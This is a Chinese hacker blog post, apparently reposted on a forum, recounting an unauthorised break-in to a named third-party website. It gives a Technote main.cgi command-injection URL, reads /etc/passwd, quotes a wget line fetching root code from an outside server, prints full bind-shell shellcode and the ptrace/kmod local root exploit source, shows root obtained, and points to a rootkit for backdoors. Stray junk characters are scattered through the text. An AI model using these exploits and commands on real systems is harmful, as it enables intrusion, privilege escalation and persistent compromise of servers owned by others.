作者:cnbird
大家好,我是cnbird,我又回来了,好长时间没有写文章了,今天手痒痒,
& @/ P9 G, R6 [9 a所以就写了一篇,希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn
' X) N( O; U2 J) v7 z2 y5 z. _最近在家研究perl和UNIX服务器的安装和应用,所以很长时间没有进行渗 透了,在学perl和UNIX的话就要傻了,什么也不会了,所以去各大黑客站点
转转吧,来到了www.nsfocus.net看看吧,有没有什么新的公告啊,Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意,大致看了看,
' e% x3 q# ]2 B( c: @知道了这是一个可以远程执行命令的漏洞,下面把漏洞的信息公布一下,Technote是韩国的Technote公司开发的公告牌系统。
Technote的'main.cgi'没有充分过滤用户提交输入,远程攻击者可以利用这
- M% T3 u* M) k% {6 U$ k( T/ g个漏洞以WEB进程权限在系统上执行任意命令。
由于不正确过滤'filename'参数,攻击者提交包含"|command"的数据作为参
0 k8 X6 x- N ^8 S3 B6 m数内容,可能以WEB进程权限在系统上执行任意命令。
9 S& l# z/ [1 h) q3 c! K C+ e3 r4 d; E* d6 X( A8 u3 M2 k1 E5 [ 给出利用方法
_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|
看了看利用方法觉得很简单,所以打算自己写一个perl的漏洞利用程序,
看了半天,终于完成了,自己perl新学的原因,所以写的比较简陋,还要自己
修改路径,很麻烦,我就不公布了,省的高手见笑。其实这个漏洞成功率还是
; X9 X+ n5 E8 i" G3 V$ O0 M! C很高的,基本上90%以上吧,对于咱们这些经常搞安全的应该说是一个好消息.
6 Q* D4 w) v" J: m- ]^_^.
# q/ d6 h& A- ?2 {$ {7 _好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单,其实融合我多年
2 ?. n9 s. ~ u+ i, H% X J的经验(其实就1-2年),首先要测试这个漏洞,先要找这样的论坛,
google.com就是方便,一下子找到了一大堆,好了随便挑一个进行测试吧,哈哈哈就拿你开口吧。
http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看,然后就开始吧,
) b8 K' Q8 H3 s( b. U/ {按照绿盟给出的公告测试一下,输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|
" I. O2 m- v4 e, A$ E. L# H结果如图1
! p. @. v7 _. ^& F) g" ~
大家看到结果了
uid=99(nobody) gid=99(nobody) groups=99(nobody) 下面就开始利用我自己写的程序来完成工作了,毕竟在IE里面输太麻烦了,1 H9 f/ ^( Y2 v- F L) t 我程序的工作 界面。如图2
% E$ A7 }% S3 L- u G) l
依次输入IP和端口,就可以直接运行程序了,输入id呵呵,和IE里面基本上差
不多,
如图3

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了,
& c! N0 C6 u& f+ D4 D. s/ I- v: Q其实我也有这样的想法,可是我已经习惯了UNIX的命令行模式了,虽然能写一个webshell,但是我并没有这样做,我的目的是拿到root权限,大家一定问了,你连主机都没有连上呢,你怎么拿到root啊,小伙子你问的不错,奖你个梨吃,呵呵,下面我的思路就是登陆到机器上面,上面大家已经看到了,我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody),权限还是很低的,试试能不能拿到/etc/passwd然后跑密码,然后执行[www.sealia.com]$ cat /etc/passwd
, q1 i8 X( w( q7 E' l不错,能拿到/etc/passwd。
( U' I2 C7 j2 a5 M3 \4 j' D3 X如图4
6 w- `/ j" I4 f# `0 i/ N4 P/ X8 o
呵呵已经得到/etc/passwd了,我们用流光去跑密码吧,当然我没有指望它能跑出来,等待的时间真漫长啊,无聊,都已经5点50分了,天天晚上,哦哦不是晚上了,是早晨这个时候睡觉,然后12点起来,天天如此,哎,,苦啊。。。
去forum.zone-h.org看看帖子吧,也许能找到什么灵感呢!无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码,看看吧,虽然已经很老很老了,呵呵其实说实话,不怕各位见小,我以前问在这里问过问题,很长时间没有来了,看看他们有没有给回复啊
: x0 y& H q( y) \$ \' H% l如图5

呵呵见笑了,真没想到他们给的答案还很全面,^_^连什么程序都给出了,老外就是实在...呵呵...
; U, N9 h9 Q' Y4 @% OThis one works fine
4 ^0 b/ `1 o+ O4 A+ Y! N4 jhttp://rst.void.ru/download/r57phpbb2010.txt
upload, someth like this
' T* I% P7 ]: e- t' i- O./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"
5 p, w5 Z& j/ d, p1 J4 e# g% q# A+ @$ P4 E, [. y/ Q7 L ./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"
exec on victim hots same shit
/ Y7 c) ^7 R) a0 i6 Iand binding shell
http://shellcode.org/Shellcode/Linux/shell-bind-shell.html
+ }2 V0 l) K- X9 ~回答的让我很满意啊,正好就试试他们给的方法吧,其实以前我也知道这样的方法的就是没有binding shell(就是把/bin/sh绑定到端口上)。好了说了这么多离题的话,我们还是赶紧做我们的事吧.
5 r- f* j9 l$ I# x# C# S, g; W% D( |首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看,
This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.
This would be ideal for a system which you didn't have a direct login shell upon.
从描述上来看是linux的binding shell,并且绑定到了20000端口,下面有该程序的下载地方,真方便啊,http://shellcode.org/Shellcode/Linux/shell-bind-shell.c
" S( t. N+ j( {- s# I, o* g9 _# @给出代码
* ~7 S. U7 i0 ^$ u4 g/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 * - by bighawk (bighawk@warfare.com) *5 w' p1 W W2 F8 T! ~+ T * This shellcode binds a shell on port 20000 *0 A" ?- e: W9 \% r% J2 B l& F8 { * stdin, stdout and stderr are dupped. accept() arguments are sane. */
3 G# y2 q. \1 [4 f% l- ~4 e1 d6 [char code[] =
* D( T/ l' }: r7 b# V$ h3 O8 H& E"\x31\xdb" // xor ebx, ebx. c7 q* o1 e T3 p$ Z3 `% V8 S- O "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx) W: D! }8 ?9 d$ J6 G. h "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx' ^3 s) K( ~% w "\x53" // push ebx "\x89\xe1" // mov ecx, esp7 e( _+ S: |7 L4 ]% @+ T9 [ "\x4b" // dec ebx$ W6 P- L! A) f. I ]/ G$ N0 { ?# y "\xcd\x80" // int 80h; R! V$ m0 V! \: i; H "\x89\xc7" // mov edi, eax$ n, M9 C1 l% s "\x52" // push edx# X" m# p l6 a7 e* o "\x66\x68\x4e\x20" // push word 8270( y7 Y6 p! ?- H* w8 t3 }1 _ "\x43" // inc ebx& f( v1 W6 p( Q$ ]: T9 [; k "\x66\x53" // push bx. x1 C) @% N! W# G, ]# _ "\x89\xe1" // mov ecx, esp0 H0 n- r- m- V% T4 ~; q "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al. Q0 n" A& p( e6 N "\x50" // push eax8 i* |: U8 a- P' v" y) a "\x51" // push ecx5 o b8 C, x: o "\x57" // push edi- h. a3 O3 `* ~9 m5 ^) ^+ h: W "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102- z w' M0 x2 \+ r! m* G2 z/ m2 F b "\xcd\x80" // int 80h "\xb0\x66" // mov al, 1027 _: O, z0 X+ ^0 C, T "\x43" // inc ebx "\x43" // inc ebx# ~- J( _7 L& R, {+ P9 |0 Y/ D "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax- U! S, [8 S" B "\x57" // push edi "\x89\xe1" // mov ecx, esp! N: X' W1 W, ]- v "\x43" // inc ebx+ Z6 n" f3 O: ? "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h4 B: c5 J8 C, W5 A: \8 z "\x89\xd9" // mov ecx, ebx8 \' `- ^' \: \7 v6 e: W& |9 G) M "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63, I8 z/ K$ U- }; c5 A7 d% D/ Z "\x49" // dec ecx7 O& Y; N, D3 U7 J0 G "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp+ M; `6 z8 G! m, i" R8 M' N y' X "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh& X/ Y# B7 V! d, I "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp2 Z$ I3 ]% Z/ w/ M, p) K: U% e M "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80"; // int 80h
main() {. X/ Y7 i. M0 Q void (*a)() = (void *)code;# u8 N. w) h4 k/ f6 x! O* r int i;" n+ A9 p) G/ W$ F4 j) a$ a printf("size: %d bytes\n", strlen(code));+ O9 e: ?2 X4 b& U# ~, M4 U( Y. W* S printf("Testing for cntrl characters.. ");2 C: g C: W' x9 {6 Z for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); printf("PASSED\n");3 a+ u0 S6 _2 y- s0 ?: i* ~- Z a(); } 好了我们已经知道该下载地址
4 P3 K! r9 \# d0 x- N( R7 n" u
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain! I. H* ^: k2 A, f" O+ N; e( ?" R
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs) o& c9 W5 C& Z2 @
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天0 B3 f7 i( K, k0 D2 u2 q
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
12gcc: /usr/bin/gcc
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind3 ~2 z( T- I/ `
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,. K8 C. ]5 G" x6 V, g7 ]9 J
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,3 }& a$ Y7 F$ L; ?, ?* e9 A1 F
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000: N, |6 s" v8 K8 W! N, b
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*$ k7 ~5 A/ f7 x2 S. T" \6 w; j * Linux kernel ptrace/kmod local root exploit * * This code exploits a race condition in kernel/kmod.c, which creates$ I1 d7 n1 | |1 H3 d * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. *% x5 W" J$ u6 J& Z5 `/ v+ A4 j * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that 3 ~6 N4 N# ^" v$ U. k; c2 v& ` ~ * is (almost) two month before it was fixed and published by Red Hat * and others. * ( W) i8 y. ^8 |+ U- M7 w * Wojciech Purczynski <cliph@isec.pl>9 u7 U% ~2 h6 S: j *# {* H; i9 d( s" y& E3 _: Q * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY' g( t c: S% s5 } * * (c) 2003 Copyright by iSEC Security Research; ~+ w4 m) i; x+ a! }" y- i */
#include #include #include #include 9 {3 W) i( z' l #include * |% |( @. n/ r z% K #include 4 P' j5 U- K. O4 U3 @* N #include #include #include #include #include # c8 z2 w9 t% C& i #include #include #include #include #include
char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"5 e* x( I3 k3 F1 A) ] "\x00\x5b\x31\xc9\x89\xca\xcd\x80"+ R9 [" v' K% {) d* { "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0;
void fatal(char * msg)$ s/ J9 Z; S* Q8 Z { perror(msg);/ c" o' V: T6 |7 ^/ c2 v kill(parent, SIGKILL);. Y* {5 d" A) z$ W! E kill(child, SIGKILL);" G$ t V& y& s3 r- u kill(victim, SIGKILL);4 t" b% a' N$ ?* {5 |' M }
void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE];" v2 X* s1 d' w: ]1 g2 H* g) g6 h unsigned long * src; int i, len;
memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);# r6 c0 E7 T1 Z! e9 p if (len == -1)8 }2 Y! e7 w# ~3 N: p fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;- l- l! b7 y2 }4 `1 p. d: t" b buf[len] = '\0';
src = (unsigned long*) buf; for (i = 0; i < len; i += 4)* T$ s$ A3 G j* q+ J0 \ if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)8 c W! x" Z: |1 k fatal("[-] Unable to write shellcode"); }
void sigchld(int signo)9 j1 {' t% \: L# ?- I { struct user_regs_struct regs;
if (gotchild++ == 0) return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) Z- U& z b! x fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim");
exit(0);( F! ?2 I% I# U+ H }
void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error");$ \$ L* ^# t$ ]7 V, |3 T' R }
void do_child(void)) h/ U! S% h" Y/ y$ ] {' K5 {) J3 q! o" m& T) y* ] int err;
child = getpid(); victim = child + 1;
signal(SIGCHLD, sigchld);
do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH);
if (err == -1) fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n");
for(;;);6 \4 T) f7 ~( Y- A# E) V }
void do_parent(char * progname) { struct stat st;9 y% q; s! {' ~( J9 h int err; errno = 0;+ Y" Y/ ?' _! W) T1 r- S, } socket(AF_SECURITY, SOCK_STREAM, 1);/ C, u* G# n: ~ do {) p& Z P6 |3 L9 e" H6 Y! w$ O err = stat(progname, &st);6 [) q4 P% `1 Q; Q1 o } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)$ s& W( n6 {7 Q1 ?0 E1 J fatal("[-] Unable to stat myself");
alarm(0); system(progname);: Z9 K8 y6 l$ [) v }
void prepare(void) { if (geteuid() == 0) {, c1 W: d9 X) r0 w. s" i9 O initgroups("root", 0); setgid(0); setuid(0);# s# C; E4 q! l1 `. W execl(_PATH_BSHELL, _PATH_BSHELL, NULL);/ g4 a5 ?( r( f; }0 B4 { fatal("[-] Unable to spawn shell"); }! `5 k0 h7 Z1 Y( o: @. a }
int main(int argc, char ** argv) { prepare();, Q# [, q& W4 _2 ^ [* b7 J2 v signal(SIGALRM, sigalrm);- [/ c$ C9 C9 c$ W% C C( t$ n alarm(10);
parent = getpid();( m5 a, z# [$ I* ? child = fork(); victim = child + 1;
if (child == -1) fatal("[-] Unable to fork");
if (child == 0) do_child(); else do_parent(argv[0]);
return 0; }CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来.
| 欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) | Powered by Discuz! X2.5 |